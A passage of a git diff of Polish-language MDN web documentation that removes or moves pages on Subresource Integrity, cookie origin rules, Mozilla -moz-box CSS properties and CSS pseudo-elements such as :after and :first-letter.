Ciasteczka (cookies) używają oddzielnej definicji originów. Strona może ustalić ciasteczko dla własnej domeny lub domeny-rodzica dopóki, gdy domena-rodzic nie jest sufiksem publicznym. Firefox i Chrome używają listy sufiksów publicznych (Public Suffix List), by zweryfikować czy domena jest sufiksem publicznym. Internet Explorer używa własnej, wewnątrznej metody weryfikacji czy domena jest sufiksem publicznym. Przeglądarka udostępni ciasteczko podanej domenie zawierającej jakiekolwiek subdomeny, niezależnie jaki protokół (HTTP/HTTPS) czy port jest używany. Przy ustalaniu ciasteczka możliwe jest określenie limitu dostępności używając flag domeny (Domain), ścieżki (Path), bezpiecznej (Secure) i Http-Only. Gdy odczytywane jest ciasteczko nie można zobaczyć, gdzie zostało ustalone. Nawet jeśli używane są wyłącznie bezpieczne połączenia https dane ciasteczko mogło zostać ustalone poprzez połączenie niebezpieczne.

- -

Zobacz również

- - - -
-

Informacje dot. dokumentu źródłowego

- - -
- -

{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}

diff --git "a/files/pl/web/bezpiecze\305\204stwo/subresource_integrity/index.html" "b/files/pl/web/bezpiecze\305\204stwo/subresource_integrity/index.html" deleted file mode 100644 index 69f20709ec..0000000000 --- "a/files/pl/web/bezpiecze\305\204stwo/subresource_integrity/index.html" +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: Integralność podzasobów (Subresource Integrity) -slug: Web/Bezpieczeństwo/Subresource_Integrity -tags: - - Bezpieczeństwo - - HTML - - HTTP - - Wstęp - - bezpieczeństwo aplikacji WWW -translation_of: Web/Security/Subresource_Integrity ---- -

Subresource Integrity (SRI), w wolnym tłumaczeniu "integralność podzasobów", to funkcja bezpieczeństwa umożliwiająca przeglądarkom weryfikowanie, czy zasoby, które przechwytują (np. z CDN) docierają do nich bez nieporządanych zmian. Działanie takie jest możliwe dzięki używaniu hasha kryptograficznego, z którym przechwycony zasób musi być zgodny.

- -
-

Notka: W celu weryfikacji integralności podzasobów danych przekazywanych ze źródła innego, niż dokument w którym są osadzane przeglądarki dodatkowo sprawdzają źródło poprzez międzyźródłowe udostępnianie zasobów, tzw. Cross-Origin Resource Sharing (CORS). Dzięki temu upewniają się, że pochodzenie (origin) oferujące dane zasoby pozwala na udostępnianie ich z innym, sprecyfizowanym originem.

-
- -

Korzyści wynikające z "Subresource Integrity"

- -

Używając {{Glossary("CDN", "Content Delivery Networks (CDNs)")}} do hostowania plików, jak np. skrypty czy arkusze stylów, które są udostępnianie pośród licznych stron WWW można polepszyć wydajność strony i zachować przepustowość łącza. Jednakże, używając CDNów ryzykujemy, że jeśli atakujący przejmie kontrolę nad CDNem to może wprowadzić szkodliwą zawartość do plików na CDNie (lub zupełnie je zastąpić) i przez to potencjalnie może zaatakować wszystkie strony, które przechwytują pliki z tego CDNu.

- -

"Subresource Integrity" pozwala na ograniczenie ryzyka ataków tego typu poprzez zapewnienie, że pliki które dana aplikacja, bądź dokument WWW przechwytują (m. in. z CDNu) zostały dostarczone bez udziału trzeciej strony, która "wzbogaciła" nasze dane o dodatkową treść oraz bez żadnych, jakichkolwiek innych zmian w przesyłanych plikach.

- -

Używanie "Subresource Integrity"

- -

Korzystanie z funkcji "Subresource Integrity" jest możliwe przez określenie hasha zakodowanego kryptograficznie w base64 zasobu (pliku), który przeglądarka ma przechwycić, z wartością atrybutu integrity danego elementu {{HTMLElement("script")}} or {{HTMLElement("link")}}.

- -

Wartość integrity zaczyna się od co najmniej jednego stringu, przy czym każdy string zawiera prefiks wskazujący na konkretny algorytm hashowy (obecnie dozwolonymi prefiksami są sha256, sha384, i sha512), następnie opatrzony myślnikiem i zakończony aktualnym hashem zakodowanym w base64.

- -
-

Notka: Wartość integrity może zawierać liczne hashe oddzielone białymi znakami. Zasób zostanie załadowany, jeśli dopasuje się z jednym z tych hashów.

-
- -

Przykładowy string integrity z hashem sha384 zakodowanym w base64:

- -
sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC
-
- -

Więc oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC to część "hashowa", a prefiks sha384 wskazuje, że jest to hash sha384.

- -
-

Notka: Część "hashowa" wartości integrity jest, mówić ściśle, skrótem kryptograficznym formowanym przez zastosowanie określonych funkcji hashowych do danego outputu (np. skryptu lub arkuszu stylów). Zwykle używa się skrótu "hash" do określania skrótu kryptograficznego, więc w taki sposób to określenie jest używane w niniejszym artykule.

-
- -

Narzędzia do generowania hashów SRI

- -

Możesz generować hashe SRI z konsoli z openssl używając wywołania polecenia, jak:

- -
cat FILENAME.js | openssl dgst -sha384 -binary | openssl base64 -A
- -

lub z shasum używając wywołania polecenia, jak:

- -
shasum -b -a 384 FILENAME.js | awk '{ print $1 }' | xxd -r -p | base64
-
- -
-

Notka:

- - -
- -

Warto wiedzieć, że dostępny na https://www.srihash.org/ SRI Hash Generator to narzędzie online umożliwiające generowanie hashy SRI.

- -

Zasady bezpieczeństwa zawartości i Integralności podzasobów(Content Security Policy & Subresource Integrity)

- -

Możesz skorzystać z Zasad bezpieczeństwa zawartości (Content Security Policy), by skonfigurować swój serwer, żeby wymuszał by określone typy plików wymagały stosowania Subresource Integrity. Aby to zrobić użyj dyrektywy {{CSP("require-sri-for")}} w swoim nagłówku CSP, np.:

- -
Content-Security-Policy: require-sri-for script;
- -

Dzięki temu zapisowi każda próba załadowania JavaScript powiedzie się jedynie, jeśli informacja o Subresource Integrity znajduje się na miejscu, a testy integralności zakończą się sukcesem.

- -

Możesz również określić, że SRI powinno być stosowane podczas ładowania arkuszy stylów:

- -
Content-Security-Policy: require-sri-for style;
- -

Możesz również określić zarówno script, jak i style aby wymagać SRI przy obu typach plików.

- -

Udostępnianie zasobów między źródłami i Integralności podzasobów (Cross-Origin Resource Sharing & Subresource Integrity)

- -

Celem weryfikacji integralności podzasobów danych pochodzących z originu innego, niż dokument, w którym są osadzone, przeglądarki dodatkowo sprawdzają dane za pomocą CORS (Cross-Origin Resource Sharing). Upewniają się, że origin dostarczający dane pozwala na udostępnianie wnioskującemu originowi. Wtedy dane muszą zostać dostarczone z nagłówkiem Access-Control-Allow-Origin, co pozwala na udostępnienie danych wnioskującemu originowi, np.:

- -
Access-Control-Allow-Origin: *
- -

Przykłady

- -

W poniższych przykładach przyjmimy, że oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC to oczekiwany hash SHA-384 (skrót) określonego skryptu example-framework.js i że istnieje kopia skryptu hostowana na https://example.com/example-framework.js.

- -

Subresource Integrity with the <script> element

- -

Możesz użyć niniejszego elementu {{HTMLElement("script")}}, by nakazać przeglądarce, aby przed wywołaniem skryptu https://example.com/example-framework.js najpierw porównała skrypt z oczekiwanym hashem i zweryfikowała, że są dopasowane.

- -
<script src="https://example.com/example-framework.js"
-        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
-        crossorigin="anonymous"></script>
- -
-

Notka: By dowiedzieć się więcej nt. zastosowania atrybutu crossorigin sprawdź atrybuty ustawień CORS.

-
- -

Jak przeglądarki radzą sobie z "Subresource Integrity"

- -

Przeglądarki radzą sobie z SRI poprzez podjęcie poniższych działań:

- -
    -
  1. -

    Kiedy przeglądarka napotka element {{HTMLElement("script")}} lub {{HTMLElement("link")}} z atrybutem integrity, przed wywołaniem skryptu lub przed zastosowaniem jakiegokolwiek arkusza stylów określonego przez element {{HTMLElement("link")}}, przeglądarka musi najpierw porównać skrypt lub arkusz stylów do oczekiwanego hasha podanego w wartości integrity.

    - -

    Notka: Celem weryfikacji integralności podzasobów danych dostarczanych z originu innego, niż dokument, w którym zostały osadzone, przeglądarki dodatkowo sprawdzają dane poprzez stosowanie CORS, aby upewnić się, że origin dostarczający dane pozwala na udostępnianie ich z wnioskującym originem.

    -
  2. -
  3. Jeśli skrypt lub arkusz stylów nie pasuje do odpowiadającej mu wartości integrity, przeglądarka musi odmówić wywołania skryptu lub uwzględnienia arkusza stylów i zamiast tego musi zwrócić błąd sieciowy wskazujący, że nie powiodło się przechwycenie tego skryptu lub arkusza stylów.
  4. -
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('Subresource Integrity')}}{{Spec2('Subresource Integrity')}}
{{SpecName('Fetch')}}{{Spec2('Fetch')}}
- -

Kompatybilność z przeglądarkami

- -

<script integrity>

- - - -

{{Compat("html.elements.script.integrity")}}

- -

CSP: require-sri-for

- - - -

{{Compat("http.headers.csp.require-sri-for")}}

- -

Zobacz również

- - - -

{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}

diff --git a/files/pl/web/css/-moz-box-align/index.html b/files/pl/web/css/-moz-box-align/index.html deleted file mode 100644 index 1d6c77d415..0000000000 --- a/files/pl/web/css/-moz-box-align/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: '-moz-box-align' -slug: Web/CSS/-moz-box-align -tags: - - CSS - - Non-standard -translation_of: Web/CSS/box-align ---- -

{{ CSSRef() }}

- -

{{warning("This is a property of the original CSS Flexible Box Layout Module standard which is being replaced by a new standard.")}}

- -

Podsumowanie

- -

W aplikacjach opartych na Mozilli -moz-box-align określa jak element XUL box (pudełko) wyrównuje swoją zawartość w poprzek (prostopadle) do kierunku swojego układu. Efekt tego jest widoczny tylko, jeśli w pudełku jest dodatkowa przestrzeń.

- -

Kierunek układu zależy od orientacji elementu: poziomej lub pionowej.

- - - -

Składnia

- -
-moz-box-align: start | center | end | baseline | stretch
-
- -

Wartości

- -
-
start
-
Pudełko wyrównuje zawartość od początku, opuszczając dodatkową przestrzeń na końcu.
-
center
-
Pudełko wyrównuje zawartość do środka, dzieląc pustą przestrzeń odpowiednio między początek i koniec.
-
end
-
Pudełko wyrównuje zawartość do końca, opuszczając dodatkową przestrzeń na początku
-
baseline
-
Pudełko wyrównuje linie bazowe zawartości (ustawiając tekst w kolejności). Ma zastosowanie tylko, gdy orientacja pudełka jest pozioma.
-
stretch
-
Pudełko rozciąga zawartość, zatem w pudełku nie ma dodatkowej przestrzeni.
-
- -

Przykłady

- -
hbox.example {
-	-moz-box-align: end; /* przenosi zawartość do dołu */
-}
-
- -

Notatki

- -

Krawędź pudełka określona jakostart dla celu wyrównania zależy od orientacji pudełka

- - - - - - - - - - - - -
Poziomagórna
Pionowalewa
- -

Krawędź przeciwna do początkowej jest określana jakoend

- -

Jeśli wyrównanie jest ustawione przy użyciu atrybutu align elementu, wtedy styl jest ignorowany.

- -

Zobacz także

- -

CSS:-moz-box-orient, CSS:-moz-box-pack

diff --git a/files/pl/web/css/-moz-box-flex/index.html b/files/pl/web/css/-moz-box-flex/index.html deleted file mode 100644 index bd4f192a92..0000000000 --- a/files/pl/web/css/-moz-box-flex/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: '-moz-box-flex' -slug: Web/CSS/-moz-box-flex -tags: - - CSS - - Non-standard -translation_of: Web/CSS/box-flex ---- -

{{ CSSRef() }}

- -

{{ warning("This is a property for controlling parts of the XUL box model.  It does not match either the old CSS Flexible Box Layout Module drafts for 'box-flex' (which were based on this property) or the behavior of '-webkit-box-flex' (which is based on those drafts).") }}

- -

Podsumowanie

- -

W aplikacjach opartych na Mozilli -moz-box-flex określa jak pudełko powiększa się, by wypełnić pudełko, które je zawiera, w kierunku układu zawierającego pudełka.

- - - -

Składnia

- -
-moz-box-flex:liczba
-
- -

Wartości

- -
-
0
-
Pudełko nie powiększa się.
-
> 0
-
Pudełko rozszerza się, by wypełnić proporcjonalną część dostępnej przestrzeni.
-
- -

Przykłady

- -
hbox.example {
-	-moz-box-flex: 1; /* take up some more space */
-}
-
- -

Uwagi

- -

Zawierające pudełko przydziela dodatkową dostępną przestrzeń proporcjonalnie do wartości rozciągania każdego elementu zawartości.

- -

Elementy zawartości, które mają rozciąganie ustawione na zero, nie powiększają się.

- -

Jeśli tylko jeden element zawartości ma niezerowe rozciąganie, wtedy powiększa się on do wypełnienia dostępnej wolnej przestrzeni.

- -

Elementy zawartości, które mają takie samo rozciąganie, powiększają się o tą samą bezwzględną liczbę.

- -

Jeśli wartość rozciąganie jest ustawiona przy użyciu atrybutu flex w elemencie, wtedy styl jest ignorowany.

- -

Aby zrobić element XUL w zawierającym pudełku takich samych rozmiarów, ustaw atrybut equalsize zawierającego pudełka na wartość always. Ten atrybut nie ma odpowiadającej własności CSS.

- -

Zobacz także

- -

CSS:-moz-box-orient, CSS:-moz-box-pack

- -
 
diff --git a/files/pl/web/css/-moz-box-orient/index.html b/files/pl/web/css/-moz-box-orient/index.html deleted file mode 100644 index 5effdac347..0000000000 --- a/files/pl/web/css/-moz-box-orient/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: '-moz-box-orient' -slug: Web/CSS/-moz-box-orient -tags: - - CSS - - Non-standard -translation_of: Web/CSS/box-orient ---- -

{{ CSSRef() }}

- -

{{ warning("This is a property of the original CSS Flexible Box Layout Module draft, and has been replaced in newer drafts.") }}

- -

Podsumowanie

- -

W aplikacjach opartych na Mozilli -moz-box-orient określa, czy pudełko rozkłada swoją zawartość poziomo czy pionowo.

- -

Np. elementy XUL box i hbox domyślnie rozkładają swoją zawartość poziomo, zaś elementy XUL vbox domyślnie rozkładają swoją zawartość pionowo.

- - - -

Składnia

- -
-moz-box-orient: horizontal | vertical
-
- -

Wartości

- -
-
horizontal
-
Pudełko układa swoją zawartość w poziomie.
-
vertical
-
Pudełko układa swoją zawartość w pionie.
-
- -

Przykłady

- -
hbox.example {
-	-moz-box-orient: vertical; /* zmiana orientacji */
-}
-
- -

Notatki

- -

Jeśli orientacja jest ustawiona w elemencie przy użyciu atrybutu orient, wtedy styl jest ignorowany.

- -

Zobacz także

- -

CSS:direction, CSS:-moz-box-direction

diff --git a/files/pl/web/css/-moz-box-pack/index.html b/files/pl/web/css/-moz-box-pack/index.html deleted file mode 100644 index edbbe60856..0000000000 --- a/files/pl/web/css/-moz-box-pack/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: '-moz-box-pack' -slug: Web/CSS/-moz-box-pack -tags: - - CSS - - Non-standard -translation_of: Web/CSS/box-pack ---- -

{{ CSSRef() }}

- -

{{warning("This is a property of the original CSS Flexible Box Layout Module standard which is being replaced by a new standard.")}}

- -

Podsumowanie

- -

W aplikacjach opartych na Mozilli -moz-box-pack określa jak pudełko wpakowuje swoją zawartość w kierunku swojego układu. Efekt tego jest widoczny tylko wtedy, gdy w pudełku jest dodatkowa wolna przestrzeń.

- -

Kierunek układu zależy od orientacji elementu: poziomej lub pionowej.

- - - -

Składnia

- -
-moz-box-pack: start | center | end | justify
-
- -

Wartości

- -
-
start
-
Pudełko wpakowuje zawartość od początku, zostawiając dodatkową wolną przestrzeń na końcu.
-
center
-
Pudełko wpakowuje zawartość w środku, dzieląc dodatkową wolną przestrzeń pomiędzy początek i koniec.
-
end
-
Pudełko wpakowuje zawartość na końcu, zostawiając dodatkową wolną przestrzeń na początku.
-
justify
-
 ?
-
- -

Przykłady

- -
hbox.example {
-	-moz-box-pack: end; /* przesuwa zawartość na prawo */
-}
-
- -

Notatki

- -

Krawędź pudełka, określona jakostart dla celów wpakowywania, zależy od orientacji i kierunku pudełka.

- - - - - - - - - - - - - - - - - - - -
 NormalnaOdwrócona
Poziomolewaprawa
Pionowogóradół
- -

Krawędź przeciwna do początkowej jest określana jakoend.

- -

Jeśli wpakowywanie jest ustawione w atrybucie pack elementu, wtedy styl jest ignorowany.

- -

Zobacz także

- -

CSS:-moz-box-orient, CSS:-moz-box-direction, CSS:-moz-box-align

diff --git a/files/pl/web/css/-moz-outline-color/index.html b/files/pl/web/css/-moz-outline-color/index.html deleted file mode 100644 index ca9e572624..0000000000 --- a/files/pl/web/css/-moz-outline-color/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: '-moz-outline-color' -slug: Web/CSS/-moz-outline-color -tags: - - CSS - - 'CSS:Dokumentacje' - - 'CSS:Rozszerzenia_Mozilli' - - Dokumentacje - - Wszystkie_kategorie -translation_of: Web/CSS/outline-color -translation_of_original: Web/CSS/-moz-outline-color ---- -

d

diff --git a/files/pl/web/css/_colon_-moz-first-node/index.html b/files/pl/web/css/_colon_-moz-first-node/index.html new file mode 100644 index 0000000000..123c08088b --- /dev/null +++ b/files/pl/web/css/_colon_-moz-first-node/index.html @@ -0,0 +1,58 @@ +--- +title: ':first-node' +slug: 'Web/CSS/:first-node' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/:-moz-first-node' +--- +

{{Non-standard_header}}{{ CSSRef() }}

+ +

Podsumowanie

+ +

Pseudoklasa :first-node sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on pierwszym węzłem potomnym swojego rodzica. :first-node uwzględnia również węzły tekstowe składające się niebiałych znaków. Pseudoklasą, która działa identycznie, jednak nie uwzględnia węzłów tekstowych jest {{ Cssxref(":first-child") }}.

+ +

Składnia

+ +
selektor:first-node { własności }
+
+ +

Przykłady

+ +
<html>
+  <body>
+  Trochę tekstu.
+    <span id="first">pierwszy</span>
+    <div>
+      <span id="dfirst">pierwszy</span>
+      <span id="dsecond">drugi</span>
+    </div>
+    <span id="second">drugi</span>
+  </body>
+</html>
+
+ +
span:first-node { font-weight: bold; }
+
+ +

Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów span, które są pierwszymi dziećmi swoich rodziców. Zostanie tutaj pogrubione tylko jedno słowo "pierwszy", ponieważ span o id first nie jest pierwszym dzieckiem elementu body. Pierwszym dzieckiem elementu body jest węzeł tekstowy.

+ +
div:first-node:last-child { background-color: red; }
+
+ +

Ten przykład ustawi czerwony kolor tła wszystkim elementom div, które są jedynymi dziećmi swojego rodzica. Jednak za elementem może znajdować się węzeł tekstowy.

+ +
div:first-child:last-node { background-color: red; }
+
+ +

Ten przykład natomiast ustawi czerwony kolor tła wszystkim elementom div, które są jedynymi dziećmi swojego rodzica. Przed elementem może znajdować się węzeł tekstowy.

+ +

Notatki

+ +

Pseudoklasa :first-node nie jest obecnie obsługiwana. Skorzystaj z {{ Cssxref(":-moz-first-node") }}

+ +

Zobacz także

+ +

{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":last-node") }}

diff --git a/files/pl/web/css/_colon_after/index.html b/files/pl/web/css/_colon_after/index.html deleted file mode 100644 index 71261c88bb..0000000000 --- a/files/pl/web/css/_colon_after/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: ':after' -slug: 'Web/CSS/:after' -tags: - - CSS - - 'CSS:Dokumentacje' - - Dokumentacje - - Wszystkie_kategorie -translation_of: 'Web/CSS/::after' ---- -

{{ CSSRef() }}

- -

Podsumowanie

- -

Tworzy pseudoelement, który staje się ostatnim dzieckiem danego elementu. Zazwyczaj używany jest do wprowadzania kosmetycznych zmian danego elementu. Domyślnie element wstawiany jest inline.

- -

Składnia

- -
/* składnia CSS2 */ selektor:after { własności }
-/* składnia CSS3 */ selektor::after { własności }
- -

Zapis ::aft​er został wprowadzony w CSS 3 w celu ustanowienia różnicy pomiędzy pseudo klasami, a pseudo elementami. Przeglądarki akceptują również notację :after wprowadzoną w CSS 2.

- -

Przykłady

- -

Prosty przykład

- -
<html>
-  <body>
-    <p>akapit</p>
-  </body>
-</html>
-
- -
p:after {
-  content: 'Koniec';
-  display: block;
-  margin-top: 3em;
-}
-
- -
-
body:after { content: 'Koniec dokumentu'; }
-
- -

Notatki

- -

Elementy wstawiane do dokumentu poprzez :after nie są widziane w drzewie dokumentu.

- -

Specyfikacje

- - - -

Zobacz także

- -

{{ Cssxref(":before") }}, {{ Cssxref("content") }}

- -

 

- -

{{ languages( { "en": "en/CSS/:after", "es": "es/CSS/after", "fr": "fr/CSS/:after" } ) }}

diff --git a/files/pl/web/css/_colon_before/index.html b/files/pl/web/css/_colon_before/index.html deleted file mode 100644 index 5c1a1f3772..0000000000 --- a/files/pl/web/css/_colon_before/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: ':before' -slug: 'Web/CSS/:before' -tags: - - CSS - - 'CSS:Dokumentacje' - - Dokumentacje - - Wszystkie_kategorie -translation_of: 'Web/CSS/::before' ---- -

{{ CSSRef() }}

- -

Podsumowanie

- -

Tworzy pseudoelement, który staje się pierwszym dzieckiem danego elementu. Zazwyczaj używany jest do wprowadzania kosmetycznych zmian danego elementu. Domyślnie element wstawiany jest inline.

- -

Składnia

- -
element:before { własności }
-
- -

Najczęściej używana jest własność {{ Cssxref("content") }}, która pozwala na wstawienie treści do pseudoelementu.

- -

Przykłady

- -

Zobacz przykład

- -
<html>
-  <body>
-    <p>akapit</p>
-  </body>
-</html>
-
- -
p:before {
-  content: 'Tekst przed akapitem';
-  display: block;
-}
-
- -

 

- -

Notatki

- -

Elementy wstawiane do dokumentu poprzez :before nie są widziane w drzewie dokumentu.

- -

Specyfikacje

- - - -

Zobacz także

- -

{{ Cssxref(":after") }}, {{ Cssxref("content") }}

- -

 

- -

{{ languages( { "en": "en/CSS/:before", "es": "es/CSS/before", "fr": "fr/CSS/:before" } ) }}

diff --git a/files/pl/web/css/_colon_first-letter/index.html b/files/pl/web/css/_colon_first-letter/index.html deleted file mode 100644 index 5de2e64cbd..0000000000 --- a/files/pl/web/css/_colon_first-letter/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: ':first-letter' -slug: 'Web/CSS/:first-letter' -tags: - - CSS - - 'CSS:Dokumentacje' - - Dokumentacje - - Wszystkie_kategorie -translation_of: 'Web/CSS/::first-letter' ---- -

{{ CSSRef() }}

- -

Podsumowanie

- -

Pseudoelement odnoszący się do pierwszej litery w bloku.

- -

Składnia

- -
element::first-letter { własności }
-
- -

Przykłady

- -
p::first-letter { text-transform: uppercase; }
-
- -

Przykład zamieni w każdym paragrafie pierwszą literę na wielką.

- -
p::first-letter { color: red; }
-
- -

Przykład zmieni kolor pierwszej litery na czerwony w każdym elemencie p

- - - -

Notatki

- -

Pseudoelementy nie mogą być negowane poprzez {{ Cssxref(":not") }}.

- -

Specyfikacje

- - - -

Zobacz także

- -

{{ Cssxref("text-transform") }}

diff --git a/files/pl/web/css/_colon_first-node/index.html b/files/pl/web/css/_colon_first-node/index.html deleted file mode 100644 index 123c08088b..0000000000 --- a/files/pl/web/css/_colon_first-node/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: ':first-node' -slug: 'Web/CSS/:first-node' -tags: - - CSS - - 'CSS:Dokumentacje' - - Dokumentacje - - Wszystkie_kategorie -translation_of: 'Web/CSS/:-moz-first-node' ---- -

{{Non-standard_header}}{{ CSSRef() }}

- -

Podsumowanie

- -

Pseudoklasa :first-node sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on pierwszym węzłem potomnym swojego rodzica. :first-node uwzględnia również węzły tekstowe składające się niebiałych znaków. Pseudoklasą, która działa identycznie, jednak nie uwzględnia węzłów tekstowych jest {{ Cssxref(":first-child") }}.

- -

Składnia

- -
selektor:first-node { własności }
-
- -

Przykłady

- -
<html>
-  <body>
-  Trochę tekstu.
-    <span id="first">pierwszy</span>
-    <div>
-      <span id="dfirst">pierwszy</span>
-      <span id="dsecond">drugi</span>
-    </div>
-    <span id="second">drugi</span>
-  </body>
-</html>
-
- -
span:first-node { font-weight: bold; }
-
- -

Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów span, które są pierwszymi dziećmi swoich rodziców. Zostanie tutaj pogrubione tylko jedno słowo "pierwszy", ponieważ span o id first nie jest pierwszym dzieckiem elementu body. Pierwszym dzieckiem elementu body jest węzeł tekstowy.

- -
div:first-node:last-child { background-color: red; }
-
- -

Ten przykład ustawi czerwony kolor tła wszystkim elementom div, które są jedynymi dziećmi swojego rodzica. Jednak za elementem może znajdować się węzeł tekstowy.

- -
div:first-child:last-node { background-color: red; }
-
- -

Ten przykład natomiast ustawi czerwony kolor tła wszystkim elementom div, które są jedynymi dziećmi swojego rodzica. Przed elementem może znajdować się węzeł tekstowy.

- -

Notatki

- -

Pseudoklasa :first-node nie jest obecnie obsługiwana. Skorzystaj z {{ Cssxref(":-moz-first-node") }}

- -

Zobacz także

- -

{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":last-node") }}

diff --git a/files/pl/web/css/_doublecolon_after/index.html b/files/pl/web/css/_doublecolon_after/index.html new file mode 100644 index 0000000000..71261c88bb --- /dev/null +++ b/files/pl/web/css/_doublecolon_after/index.html @@ -0,0 +1,63 @@ +--- +title: ':after' +slug: 'Web/CSS/:after' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/::after' +--- +

{{ CSSRef() }}

+ +

Podsumowanie

+ +

Tworzy pseudoelement, który staje się ostatnim dzieckiem danego elementu. Zazwyczaj używany jest do wprowadzania kosmetycznych zmian danego elementu. Domyślnie element wstawiany jest inline.

+ +

Składnia

+ +
/* składnia CSS2 */ selektor:after { własności }
+/* składnia CSS3 */ selektor::after { własności }
+ +

Zapis ::aft​er został wprowadzony w CSS 3 w celu ustanowienia różnicy pomiędzy pseudo klasami, a pseudo elementami. Przeglądarki akceptują również notację :after wprowadzoną w CSS 2.

+ +

Przykłady

+ +

Prosty przykład

+ +
<html>
+  <body>
+    <p>akapit</p>
+  </body>
+</html>
+
+ +
p:after {
+  content: 'Koniec';
+  display: block;
+  margin-top: 3em;
+}
+
+ +
+
body:after { content: 'Koniec dokumentu'; }
+
+ +

Notatki

+ +

Elementy wstawiane do dokumentu poprzez :after nie są widziane w drzewie dokumentu.

+ +

Specyfikacje

+ + + +

Zobacz także

+ +

{{ Cssxref(":before") }}, {{ Cssxref("content") }}

+ +

 

+ +

{{ languages( { "en": "en/CSS/:after", "es": "es/CSS/after", "fr": "fr/CSS/:after" } ) }}

diff --git a/files/pl/web/css/_doublecolon_before/index.html b/files/pl/web/css/_doublecolon_before/index.html new file mode 100644 index 0000000000..5c1a1f3772 --- /dev/null +++ b/files/pl/web/css/_doublecolon_before/index.html @@ -0,0 +1,60 @@ +--- +title: ':before' +slug: 'Web/CSS/:before' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/::before' +--- +

{{ CSSRef() }}

+ +

Podsumowanie

+ +

Tworzy pseudoelement, który staje się pierwszym dzieckiem danego elementu. Zazwyczaj używany jest do wprowadzania kosmetycznych zmian danego elementu. Domyślnie element wstawiany jest inline.

+ +

Składnia

+ +
element:before { własności }
+
+ +

Najczęściej używana jest własność {{ Cssxref("content") }}, która pozwala na wstawienie treści do pseudoelementu.

+ +

Przykłady

+ +

Zobacz przykład

+ +
<html>
+  <body>
+    <p>akapit</p>
+  </body>
+</html>
+
+ +
p:before {
+  content: 'Tekst przed akapitem';
+  display: block;
+}
+
+ +

 

+ +

Notatki

+ +

Elementy wstawiane do dokumentu poprzez :before nie są widziane w drzewie dokumentu.

+ +

Specyfikacje

+ + + +

Zobacz także

+ +

{{ Cssxref(":after") }}, {{ Cssxref("content") }}

+ +

 

+ +

{{ languages( { "en": "en/CSS/:before", "es": "es/CSS/before", "fr": "fr/CSS/:before" } ) }}

diff --git a/files/pl/web/css/_doublecolon_first-letter/index.html b/files/pl/web/css/_doublecolon_first-letter/index.html new file mode 100644 index 0000000000..5de2e64cbd --- /dev/null +++ b/files/pl/web/css/_doublecolon_first-letter/index.html @@ -0,0 +1,49 @@ +--- +title: ':first-letter' +slug: 'Web/CSS/:first-letter' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/::first-letter' +--- +

{{ CSSRef() }}

+ +

Podsumowanie

+ +

Pseudoelement odnoszący się do pierwszej litery w bloku.

+ +

Składnia

+ +
element::first-letter { własności }
+
+ +

Przykłady

+ +
p::first-letter { text-transform: uppercase; }
+
+ +

Przykład zamieni w każdym paragrafie pierwszą literę na wielką.

+ +
p::first-letter { color: red; }
+
+ +

Przykład zmieni kolor pierwszej litery na czerwony w każdym elemencie p

+ + + +

Notatki

+ +

Pseudoelementy nie mogą być negowane poprzez {{ Cssxref(":not") }}.

+ +

Specyfikacje

+ + + +

Zobacz także

+ +

{{ Cssxref("text-transform") }}

diff --git a/files/pl/web/css/box-align/index.html b/files/pl/web/css/box-align/index.html new file mode 100644 index 0000000000..1d6c77d415 --- /dev/null +++ b/files/pl/web/css/box-align/index.html @@ -0,0 +1,77 @@ +--- +title: '-moz-box-align' +slug: Web/CSS/-moz-box-align +tags: + - CSS + - Non-standard +translation_of: Web/CSS/box-align +--- +

{{ CSSRef() }}

+ +

{{warning("This is a property of the original CSS Flexible Box Layout Module standard which is being replaced by a new standard.")}}

+ +

Podsumowanie

+ +

W aplikacjach opartych na Mozilli -moz-box-align określa jak element XUL box (pudełko) wyrównuje swoją zawartość w poprzek (prostopadle) do kierunku swojego układu. Efekt tego jest widoczny tylko, jeśli w pudełku jest dodatkowa przestrzeń.

+ +

Kierunek układu zależy od orientacji elementu: poziomej lub pionowej.

+ + + +

Składnia

+ +
-moz-box-align: start | center | end | baseline | stretch
+
+ +

Wartości

+ +
+
start
+
Pudełko wyrównuje zawartość od początku, opuszczając dodatkową przestrzeń na końcu.
+
center
+
Pudełko wyrównuje zawartość do środka, dzieląc pustą przestrzeń odpowiednio między początek i koniec.
+
end
+
Pudełko wyrównuje zawartość do końca, opuszczając dodatkową przestrzeń na początku
+
baseline
+
